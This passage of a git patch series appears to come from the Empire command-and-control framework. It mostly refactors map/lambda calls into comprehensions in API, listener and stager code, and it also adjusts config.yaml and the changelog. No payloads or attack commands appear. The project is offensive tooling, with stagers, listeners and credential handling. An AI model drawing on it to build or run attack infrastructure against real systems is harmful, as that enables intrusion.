include_full_input, include_original_output, include_output - ), - tasks, + tasks_converted = [ + domain_to_dto_task( + x, include_full_input, include_original_output, include_output ) - ) + for x in tasks + ] return AgentTasks( records=tasks_converted, diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index 9c6503daa..5be2212cc 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -33,15 +33,13 @@ def domain_to_dto_task( user_id=task.user_id, username=None if not task.user else task.user.username, agent_id=task.agent_id, - downloads=list( - map(lambda x: domain_to_dto_download_description(x), task.downloads) - ), + downloads=[domain_to_dto_download_description(x) for x in task.downloads], module_name=task.module_name, task_name=task.task_name, status=task.status, created_at=task.created_at, updated_at=task.updated_at, - tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)), + tags=[domain_to_dto_tag(x) for x in task.tags], ) diff --git a/empire/server/api/v2/bypass/bypass_api.py b/empire/server/api/v2/bypass/bypass_api.py index f51712dbc..f5f5f6aca 100644 --- a/empire/server/api/v2/bypass/bypass_api.py +++ b/empire/server/api/v2/bypass/bypass_api.py @@ -45,7 +45,7 @@ async def read_bypass(uid: int, db_bypass: models.Bypass = Depends(get_bypass)): @router.get("/", response_model=Bypasses) async def read_bypasses(db: CurrentSession): - bypasses = list(map(lambda x: domain_to_dto_bypass(x), bypass_service.get_all(db))) + bypasses = [domain_to_dto_bypass(x) for x in bypass_service.get_all(db)] return {"records": bypasses} diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py index b35fadd74..8b5e71d7d 100644 --- a/empire/server/api/v2/credential/credential_api.py +++ b/empire/server/api/v2/credential/credential_api.py @@ -57,12 +57,10 @@ async def read_credentials( credtype: str | None = None, tags: list[TagStr] | None = Query(None), ): - credentials = list( - map( - lambda x: domain_to_dto_credential(x), - credential_service.get_all(db, search, credtype, tags), - ) - ) + credentials = [ + domain_to_dto_credential(x) + for x in credential_service.get_all(db, search, credtype, tags) + ] return {"records": credentials} diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py index 284a91cac..b8d76cb13 100644 --- a/empire/server/api/v2/credential/credential_dto.py +++ b/empire/server/api/v2/credential/credential_dto.py @@ -18,7 +18,7 @@ def domain_to_dto_credential(credential): notes=credential.notes, created_at=credential.created_at, updated_at=credential.updated_at, - tags=list(map(lambda x: domain_to_dto_tag(x), credential.tags)), + tags=[domain_to_dto_tag(x) for x in credential.tags], ) diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py index 937ee14b8..52aa1d7c5 100644 --- a/empire/server/api/v2/download/download_api.py +++ b/empire/server/api/v2/download/download_api.py @@ -96,7 +96,7 @@ async def read_downloads( order_direction=order_direction, ) - downloads_converted = list(map(lambda x: domain_to_dto_download(x), downloads)) + downloads_converted = [domain_to_dto_download(x) for x in downloads] return Downloads( records=downloads_converted, diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py index 3c6b0b8f4..1106fda13 100644 --- a/empire/server/api/v2/download/download_dto.py +++ b/empire/server/api/v2/download/download_dto.py @@ -16,7 +16,7 @@ def domain_to_dto_download(download): size=download.size, created_at=download.created_at, updated_at=download.updated_at, - tags=list(map(lambda x: domain_to_dto_tag(x), download.tags)), + tags=[domain_to_dto_tag(x) for x in download.tags], ) diff --git a/empire/server/api/v2/host/host_api.py b/empire/server/api/v2/host/host_api.py index 84bd70889..4cdcc6225 100644 --- a/empire/server/api/v2/host/host_api.py +++ b/empire/server/api/v2/host/host_api.py @@ -37,6 +37,6 @@ async def read_host(uid: int, db_host: models.Host = Depends(get_host)): @router.get("/", response_model=Hosts) async def read_hosts(db: CurrentSession): - hosts = list(map(lambda x: domain_to_dto_host(x), host_service.get_all(db))) + hosts = [domain_to_dto_host(x) for x in host_service.get_all(db)] return {"records": hosts} diff --git a/empire/server/api/v2/host/process_api.py b/empire/server/api/v2/host/process_api.py index 32374ef98..11d6e1f72 100644 --- a/empire/server/api/v2/host/process_api.py +++ b/empire/server/api/v2/host/process_api.py @@ -55,11 +55,9 @@ async def read_process(uid: int, db_process: models.HostProcess = Depends(get_pr @router.get("/", response_model=Processes) async def read_processes(db: CurrentSession, db_host: models.Host = Depends(get_host)): - processes = list( - map( - lambda x: domain_to_dto_process(x), - host_process_service.get_processes_for_host(db, db_host), - ) - ) + processes = [ + domain_to_dto_process(x) + for x in host_process_service.get_processes_for_host(db, db_host) + ] return {"records": processes} diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py index 7868c193e..e5d5e1482 100644 --- a/empire/server/api/v2/listener/listener_api.py +++ b/empire/server/api/v2/listener/listener_api.py @@ -49,9 +49,7 @@ async def read_listener(uid: int, db_listener: models.Listener = Depends(get_lis @router.get("/", response_model=Listeners) async def read_listeners(db: CurrentSession): - listeners = list( - map(lambda x: domain_to_dto_listener(x), listener_service.get_all(db)) - ) + listeners = [domain_to_dto_listener(x) for x in listener_service.get_all(db)] return {"records": listeners} diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py index 38dde0093..694134f7d 100644 --- a/empire/server/api/v2/listener/listener_dto.py +++ b/empire/server/api/v2/listener/listener_dto.py @@ -12,33 +12,26 @@ def domain_to_dto_template(listener, uid: str): - options = dict( - map( - lambda x: ( - x[0], - { - "description": x[1]["Description"], - "required": x[1]["Required"], - "value": x[1]["Value"], - "strict": x[1]["Strict"], - "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), - }, - ), - listener.options.items(), - ) - ) + options = { + x[0]: { + "description": x[1]["Description"], + "required": x[1]["Required"], + "value": x[1]["Value"], + "strict": x[1]["Strict"], + "suggested_values": x[1]["SuggestedValues"], + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), + } + for x in listener.options.items() + } - authors = list( - map( - lambda x: { - "name": x["Name"], - "handle": x["Handle"], - "link": x["Link"], - }, - listener.info.get("Authors") or [], - ) - ) + authors = [ + { + "name": x["Name"], + "handle": x["Handle"], + "link": x["Link"], + } + for x in listener.info.get("Authors") or [] + ] return ListenerTemplate( id=uid, @@ -55,7 +48,7 @@ def domain_to_dto_template(listener, uid: str): def domain_to_dto_listener(listener): - options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items())) + options = {x[0]: x[1]["Value"] for x in listener.options.items()} return Listener( id=listener.id, @@ -64,7 +57,7 @@ def domain_to_dto_listener(listener): enabled=listener.enabled, options=options, created_at=listener.created_at, - tags=list(map(lambda x: domain_to_dto_tag(x), listener.tags)), + tags=[domain_to_dto_tag(x) for x in listener.tags], ) diff --git a/empire/server/api/v2/listener/listener_template_api.py b/empire/server/api/v2/listener/listener_template_api.py index 92ec0b8b6..6f151df28 100644 --- a/empire/server/api/v2/listener/listener_template_api.py +++ b/empire/server/api/v2/listener/listener_template_api.py @@ -28,12 +28,10 @@ response_model=ListenerTemplates, ) async def get_listener_templates(): - templates = list( - map( - lambda x: domain_to_dto_template(x[1], x[0]), - listener_template_service.get_listener_templates().items(), - ) - ) + templates = [ + domain_to_dto_template(x[1], x[0]) + for x in listener_template_service.get_listener_templates().items() + ] return {"records": templates} diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py index 07be0032c..08bc83a2a 100644 --- a/empire/server/api/v2/module/module_api.py +++ b/empire/server/api/v2/module/module_api.py @@ -47,11 +47,9 @@ async def get_module(uid: str): # response_model=Modules, ) async def read_modules(): - modules = list( - map( - lambda x: domain_to_dto_module(x[1], x[0]), module_service.get_all().items() - ) - ) + modules = [ + domain_to_dto_module(x[1], x[0]) for x in module_service.get_all().items() + ] return {"records": modules} diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py index b835d3adf..d5f4df84e 100644 --- a/empire/server/api/v2/module/module_dto.py +++ b/empire/server/api/v2/module/module_dto.py @@ -6,23 +6,18 @@ def domain_to_dto_module(module: EmpireModule, uid: str): options = {x.name: x for x in module.options} - options = dict( - map( - lambda x: ( - x[0], - { - "description": x[1].description, - "required": x[1].required, - "value": x[1].value, - "strict": x[1].strict, - "suggested_values": x[1].suggested_values, - # todo expand to listener, stager, etc - "value_type": to_value_type(x[1].value, x[1].type), - }, - ), - options.items(), - ) - ) + options = { + x[0]: { + "description": x[1].description, + "required": x[1].required, + "value": x[1].value, + "strict": x[1].strict, + "suggested_values": x[1].suggested_values, + # todo expand to listener, stager, etc + "value_type": to_value_type(x[1].value, x[1].type), + } + for x in options.items() + } return Module( id=uid, diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py index 3a999b575..739857c65 100644 --- a/empire/server/api/v2/plugin/plugin_api.py +++ b/empire/server/api/v2/plugin/plugin_api.py @@ -41,11 +41,9 @@ async def get_plugin(uid: str): @router.get("/", response_model=Plugins) async def read_plugins(): - plugins = list( - map( - lambda x: domain_to_dto_plugin(x[1], x[0]), plugin_service.get_all().items() - ) - ) + plugins = [ + domain_to_dto_plugin(x[1], x[0]) for x in plugin_service.get_all().items() + ] return {"records": plugins} diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py index cd307b3b4..2ff84f493 100644 --- a/empire/server/api/v2/plugin/plugin_dto.py +++ b/empire/server/api/v2/plugin/plugin_dto.py @@ -10,33 +10,26 @@ def domain_to_dto_plugin(plugin: Plugin, uid: str): - options = dict( - map( - lambda x: ( - x[0], - { - "description": x[1]["Description"], - "required": x[1]["Required"], - "value": x[1]["Value"], - "strict": x[1]["Strict"], - "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), - }, - ), - plugin.options.items(), - ) - ) + options = { + x[0]: { + "description": x[1]["Description"], + "required": x[1]["Required"], + "value": x[1]["Value"], + "strict": x[1]["Strict"], + "suggested_values": x[1]["SuggestedValues"], + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), + } + for x in plugin.options.items() + } - authors = list( - map( - lambda x: { - "name": x["Name"], - "handle": x["Handle"], - "link": x["Link"], - }, - plugin.info.get("Authors") or [], - ) - ) + authors = [ + { + "name": x["Name"], + "handle": x["Handle"], + "link": x["Link"], + } + for x in plugin.info.get("Authors") or [] + ] return Plugin( id=uid, diff --git a/empire/server/api/v2/plugin/plugin_task_api.py b/empire/server/api/v2/plugin/plugin_task_api.py index e40184eab..5a4a16923 100644 --- a/empire/server/api/v2/plugin/plugin_task_api.py +++ b/empire/server/api/v2/plugin/plugin_task_api.py @@ -94,12 +94,9 @@ async def read_tasks_all_plugins( q=query, ) - tasks_converted = list( - map( - lambda x: domain_to_dto_plugin_task(x, include_full_input, include_output), - tasks, - ) - ) + tasks_converted = [ + domain_to_dto_plugin_task(x, include_full_input, include_output) for x in tasks + ] return PluginTasks( records=tasks_converted, @@ -142,12 +139,9 @@ async def read_tasks( q=query, ) - tasks_converted = list( - map( - lambda x: domain_to_dto_plugin_task(x, include_full_input, include_output), - tasks, - ) - ) + tasks_converted = [ + domain_to_dto_plugin_task(x, include_full_input, include_output) for x in tasks + ] return PluginTasks( records=tasks_converted, diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index 36f3c1bdb..b2efb5d28 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -31,13 +31,11 @@ def domain_to_dto_plugin_task( user_id=task.user_id, username=None if not task.user else task.user.username, plugin_id=task.plugin_id, - downloads=list( - map(lambda x: domain_to_dto_download_description(x), task.downloads) - ), + downloads=[domain_to_dto_download_description(x) for x in task.downloads], status=task.status, created_at=task.created_at, updated_at=task.updated_at, - tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)), + tags=[domain_to_dto_tag(x) for x in task.tags], ) diff --git a/empire/server/api/v2/stager/stager_api.py b/empire/server/api/v2/stager/stager_api.py index 65edb0ad3..a84aa38f7 100644 --- a/empire/server/api/v2/stager/stager_api.py +++ b/empire/server/api/v2/stager/stager_api.py @@ -40,7 +40,7 @@ async def get_stager(uid: int, db: CurrentSession): @router.get("/", response_model=Stagers) async def read_stagers(db: CurrentSession): - stagers = list(map(lambda x: domain_to_dto_stager(x), stager_service.get_all(db))) + stagers = [domain_to_dto_stager(x) for x in stager_service.get_all(db)] return {"records": stagers} diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py index ed3e45099..e8e5fdcf6 100644 --- a/empire/server/api/v2/stager/stager_dto.py +++ b/empire/server/api/v2/stager/stager_dto.py @@ -14,33 +14,26 @@ def domain_to_dto_template(stager, uid: str): - options = dict( - map( - lambda x: ( - x[0], - { - "description": x[1]["Description"], - "required": x[1]["Required"], - "value": x[1]["Value"], - "strict": x[1]["Strict"], - "suggested_values": x[1]["SuggestedValues"], - "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), - }, - ), - stager.options.items(), - ) - ) - - authors = list( - map( - lambda x: { - "name": x["Name"], - "handle": x["Handle"], - "link": x["Link"], - }, - stager.info.get("Authors") or [], - ) - ) + options = { + x[0]: { + "description": x[1]["Description"], + "required": x[1]["Required"], + "value": x[1]["Value"], + "strict": x[1]["Strict"], + "suggested_values": x[1]["SuggestedValues"], + "value_type": to_value_type(x[1]["Value"], x[1].get("Type")), + } + for x in stager.options.items() + } + + authors = [ + { + "name": x["Name"], + "handle": x["Handle"], + "link": x["Link"], + } + for x in stager.info.get("Authors") or [] + ] return StagerTemplate( id=uid, @@ -58,9 +51,7 @@ def domain_to_dto_stager(stager: models.Stager): name=stager.name, template=stager.module, one_liner=stager.one_liner, - downloads=list( - map(lambda x: domain_to_dto_download_description(x), stager.downloads) - ), + downloads=[domain_to_dto_download_description(x) for x in stager.downloads], options=stager.options, user_id=stager.user_id, created_at=stager.created_at, diff --git a/empire/server/api/v2/stager/stager_template_api.py b/empire/server/api/v2/stager/stager_template_api.py index 82aee8721..e09beece3 100644 --- a/empire/server/api/v2/stager/stager_template_api.py +++ b/empire/server/api/v2/stager/stager_template_api.py @@ -25,12 +25,10 @@ @router.get("/", response_model=StagerTemplates) async def get_stager_templates(): - templates = list( - map( - lambda x: domain_to_dto_template(x[1], x[0]), - stager_template_service.get_stager_templates().items(), - ) - ) + templates = [ + domain_to_dto_template(x[1], x[0]) + for x in stager_template_service.get_stager_templates().items() + ] return {"records": templates} diff --git a/empire/server/api/v2/tag/tag_api.py b/empire/server/api/v2/tag/tag_api.py index b2c3508c6..1073f4109 100644 --- a/empire/server/api/v2/tag/tag_api.py +++ b/empire/server/api/v2/tag/tag_api.py @@ -56,7 +56,7 @@ async def get_tags( order_direction=order_direction, ) - tags_converted = list(map(lambda x: domain_to_dto_tag(x), tags)) + tags_converted = [domain_to_dto_tag(x) for x in tags] return Tags( records=tags_converted, diff --git a/empire/server/api/v2/user/user_api.py b/empire/server/api/v2/user/user_api.py index 5758a3a77..0d360fabf 100644 --- a/empire/server/api/v2/user/user_api.py +++ b/empire/server/api/v2/user/user_api.py @@ -80,7 +80,7 @@ async def read_user_me(current_user: CurrentActiveUser): dependencies=[Depends(get_current_active_user)], ) async def read_users(db: CurrentSession): - users = list(map(lambda x: domain_to_dto_user(x), user_service.get_all(db))) + users = [domain_to_dto_user(x) for x in user_service.get_all(db)] return {"records": users} diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index cfd097b9a..c4eda59dd 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -265,9 +265,13 @@ def get_dependent_functions(code, functionNames): dependentFunctions.add(functionName) if re.search(r"\$Netapi32|\$Advapi32|\$Kernel32|\$Wtsapi32", code, re.IGNORECASE): - dependentFunctions |= set( - ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"] - ) + dependentFunctions |= { + "New-InMemoryModule", + "func", + "Add-Win32Type", + "psenum", + "struct", + } return dependentFunctions diff --git a/empire/server/common/pylnk.py b/empire/server/common/pylnk.py index ebe7d5562..ab6ad0ff5 100644 --- a/empire/server/common/pylnk.py +++ b/empire/server/common/pylnk.py @@ -74,7 +74,7 @@ WINDOW_MAXIMIZED = "Maximized" WINDOW_MINIMIZED = "Minimized" _SHOW_COMMANDS = {1: WINDOW_NORMAL, 3: WINDOW_MAXIMIZED, 7: WINDOW_MINIMIZED} -_SHOW_COMMAND_IDS = dict((v, k) for k, v in _SHOW_COMMANDS.items()) +_SHOW_COMMAND_IDS = {v: k for k, v in _SHOW_COMMANDS.items()} DRIVE_UNKNOWN = "Unknown" DRIVE_NO_ROOT_DIR = "No root directory" @@ -92,7 +92,7 @@ 5: DRIVE_CDROM, 6: DRIVE_RAMDISK, } -_DRIVE_TYPE_IDS = dict((v, k) for k, v in _DRIVE_TYPES.items()) +_DRIVE_TYPE_IDS = {v: k for k, v in _DRIVE_TYPES.items()} _KEYS = { 0x30: "0", @@ -158,7 +158,7 @@ 0x90: "NUM LOCK", 0x91: "SCROLL LOCK", } -_KEY_CODES = dict((v, k) for k, v in _KEYS.items()) +_KEY_CODES = {v: k for k, v in _KEYS.items()} ROOT_MY_COMPUTER = "MY_COMPUTER" ROOT_MY_DOCUMENTS = "MY_DOCUMENTS" @@ -181,7 +181,7 @@ "{645FF040-5081-101B-9F08-00AA002F954E}": ROOT_RECYLCE_BIN, "{21EC2020-3AEA-1069-A2DD-08002B30309D}": ROOT_CONTROL_PANEL, } -_ROOT_LOCATION_GUIDS = dict((v, k) for k, v in _ROOT_LOCATIONS.items()) +_ROOT_LOCATION_GUIDS = {v: k for k, v in _ROOT_LOCATIONS.items()} TYPE_FOLDER = "FOLDER" TYPE_FILE = "FILE" @@ -191,7 +191,7 @@ 0x35: "FOLDER (UNICODE)", 0x36: "FILE (UNICODE)", } -_ENTRY_TYPE_IDS = dict((v, k) for k, v in _ENTRY_TYPES.items()) +_ENTRY_TYPE_IDS = {v: k for k, v in _ENTRY_TYPES.items()} _DRIVE_PATTERN = re.compile("(\\w)[:/\\\\]*$") @@ -362,7 +362,7 @@ class InvalidKeyException(Exception): class Flags: def __init__(self, flag_names, flags_bytes=0): self._flag_names = flag_names - self._flags = dict([(name, None) for name in flag_names]) + self._flags = {name: None for name in flag_names} self.set_flags(flags_bytes) def set_flags(self, flags_bytes): diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index f113bad35..93af855ed 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -96,7 +96,7 @@ def get_agent_checkins( results = query.all() total = 0 if len(results) == 0 else results[0].total - results = list(map(lambda x: x[0], results)) + results = [x[0] for x in results] return results, total diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 5245573f5..955574d64 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -123,7 +123,7 @@ def get_tasks( results = query.all() total = 0 if len(results) == 0 else results[0].total - results = list(map(lambda x: x[0], results)) + results = [x[0] for x in results] return results, total diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 6678afbcd..45cc33557 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -111,7 +111,7 @@ def get_all( results = query.all() total = 0 if len(results) == 0 else results[0].total - results = list(map(lambda x: x[0], results)) + results = [x[0] for x in results] return results, total diff --git a/empire/server/core/hooks_internal.py b/empire/server/core/hooks_internal.py index 5cbeed251..ff5d0dea9 100644 --- a/empire/server/core/hooks_internal.py +++ b/empire/server/core/hooks_internal.py @@ -44,7 +44,7 @@ def ps_hook(db: Session, task: models.AgentTask): .filter(models.HostProcess.host_id == task.agent.host_id) .all() ) - existing_processes = list(map(lambda p: p[0], existing_processes)) + existing_processes = [p[0] for p in existing_processes] for process in output: process_name = process.get("CMD") or process.get("ProcessName") or "" @@ -82,8 +82,8 @@ def ps_hook(db: Session, task: models.AgentTask): for process in existing_processes: # mark processes that are no longer running stale - if process not in list(map(lambda p: int(p.get("PID")), output)): - db_process: models.HostProcess = ( + if process not in [int(p.get("PID")) for p in output]: + db_process: models.HostProcess | None = ( db.query(models.HostProcess) .filter( and_( diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index 4e3e6929f..a57503b64 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -126,7 +126,7 @@ def shutdown_listeners(self): def start_existing_listener(self, db: Session, listener: models.Listener): listener.enabled = True - options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items())) + options = {x[0]: x[1]["Value"] for x in listener.options.items()} template_instance, err = self._validate_listener_options( db, listener.module, options ) diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 741aeddad..020c924ac 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -274,7 +274,7 @@ def get_tasks( results = query.all() total = 0 if len(results) == 0 else results[0].total - results = list(map(lambda x: x[0], results)) + results = [x[0] for x in results] return results, total diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index 7c75904cd..780be0b1d 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -88,9 +88,7 @@ def create_stager(self, db: Session, stager_req, save: bool, user_id: int): return None, err stager_options = copy.deepcopy(template_instance.options) - stager_options = dict( - map(lambda x: (x[0], x[1]["Value"]), stager_options.items()) - ) + stager_options = {x[0]: x[1]["Value"] for x in stager_options.items()} db_stager = models.Stager( name=stager_req.name, @@ -137,9 +135,7 @@ def update_stager(self, db: Session, db_stager: models.Stager, stager_req): return None, err stager_options = copy.deepcopy(template_instance.options) - stager_options = dict( - map(lambda x: (x[0], x[1]["Value"]), stager_options.items()) - ) + stager_options = {x[0]: x[1]["Value"] for x in stager_options.items()} db_stager.options = stager_options download = models.Download( diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py index 4f8251fe4..b548ec991 100644 --- a/empire/server/core/tag_service.py +++ b/empire/server/core/tag_service.py @@ -89,7 +89,7 @@ def get_all( results = query.all() total = 0 if len(results) == 0 else results[0].total - results = list(map(lambda x: x[0], results)) + results = [x[0] for x in results] return results, total diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 753507c3f..fae7dacc7 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -239,7 +239,7 @@ def generate_launcher( launcher = listenerOptions["Launcher"]["Value"] staging_key = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 5c2075613..f7dd9ea43 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -216,7 +216,7 @@ def generate_launcher( staging_key = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] requestHeader = listenerOptions["RequestHeader"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index b41727dda..d129fe6f0 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -185,7 +185,7 @@ def generate_launcher( launcher = listenerOptions["Launcher"]["Value"] stagingKey = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index c11d3d648..2c8f6301c 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -136,7 +136,7 @@ def generate_launcher( launcher = listenerOptions["Launcher"]["Value"] staging_key = listenerOptions["RedirectStagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) if language == "powershell": @@ -558,12 +558,9 @@ def start(self, name=""): ]["Value"] redirectHost = redirectListenerOptions.options["Host"]["Value"] - uris = [ - a - for a in self.options["DefaultProfile"]["Value"] - .split("|")[0] - .split(",") - ] + uris = list( + self.options["DefaultProfile"]["Value"].split("|")[0].split(",") + ) hopCodeLocation = "%s/data/misc/hop.php" % (self.mainMenu.installPath) with open(hopCodeLocation) as f: diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 0022c39ac..4b784ee54 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -112,7 +112,7 @@ def generate_launcher( launcher = listenerOptions["Launcher"]["Value"] stagingKey = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 8cae0eb46..261b33126 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -103,7 +103,7 @@ def generate_launcher( host = listenerOptions["Host"]["Value"] stagingKey = listenerOptions["StagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] + uris = list(profile.split("|")[0].split(",")) stage0 = random.choice(uris) customHeaders = profile.split("|")[2:] diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 928c6dba5..36ca442c3 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -184,9 +184,7 @@ def test_get_agent_checkins_multiple_agents( assert response.status_code == 200 assert len(response.json()["records"]) == days_back * 17280 * 2 - assert set([r["agent_id"] for r in response.json()["records"]]) == set( - with_checkins[:2] - ) + assert {r["agent_id"] for r in response.json()["records"]} == set(with_checkins[:2]) # @pytest.mark.slow diff --git a/pyproject.toml b/pyproject.toml index 95f4b4576..9aec387ea 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -101,12 +101,13 @@ extend-exclude = [ extend-ignore = ["E501"] select = [ - "E", # Pycodestyle - "W", # Pycodestyle - "F", # Pyflakes - "I", # Isort (I) - "UP", # PyUpgrade - "B" # Bugbear + "E", # pycodestyle + "W", # pycodestyle + "F", # pyflakes + "I", # isort + "UP", # pyupgrade + "B", # flake8-bugbear + "C4" # flake8-comprehensions ] target-version = "py310" From b280a3fa57afbbb79d581a762cc3bc502ee9e5d0 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 16 Nov 2023 20:47:52 -0700 Subject: [PATCH 20/29] fix port number --- empire/server/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/config.yaml b/empire/server/config.yaml index fe168b4bf..cdb260390 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -1,6 +1,6 @@ suppress-self-cert-warning: true api: - port: 1350 + port: 1337 database: use: mysql mysql: From c225be1e3f33ab22f9c9d876225f7e45c4e266a2 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 16 Nov 2023 20:48:54 -0700 Subject: [PATCH 21/29] enable starkiller --- empire/server/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/config.yaml b/empire/server/config.yaml index cdb260390..77261aba3 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -42,7 +42,7 @@ database: # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8" ip-blacklist: "" starkiller: - enabled: false + enabled: true repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash From 6fad4f9a0de54f4307870f759dc839a121720a0b Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Fri, 17 Nov 2023 19:52:54 -0700 Subject: [PATCH 22/29] organize changelog --- CHANGELOG.md | 65 ++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 45 insertions(+), 20 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ea78acfc5..8bc936ac2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,37 +5,51 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +* **Added** for new features. +* **Changed** for changes in existing functionality. +* **Deprecated** for soon-to-be removed features. +* **Removed** for now removed features. +* **Fixed** for any bug fixes. +* **Security** in case of vulnerabilities. + ## [Unreleased] -- Upgrade Pydantic to v2 (@Vinnybod) -- Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod) +### Added + - Add tags search to credentials endpoints (@Vinnybod) -- Remove unused migration scripts (@Vinnybod) -- Simplify TestClient setup (@Vinnybod) - Allow Starkiller to be disabled (@Vinnybod) - Allow API port to be configured from the config.yaml (@Vinnybod) - Add flake8-comprehensions rules to ruff config (@Vinnybod) +### Changed + +- Upgrade Pydantic to v2 (@Vinnybod) +- Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod) +- Simplify TestClient setup (@Vinnybod) + +### Removed + +- Remove unused migration scripts (@Vinnybod) + + ## [5.8.0] - 2023-11-06 - Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is 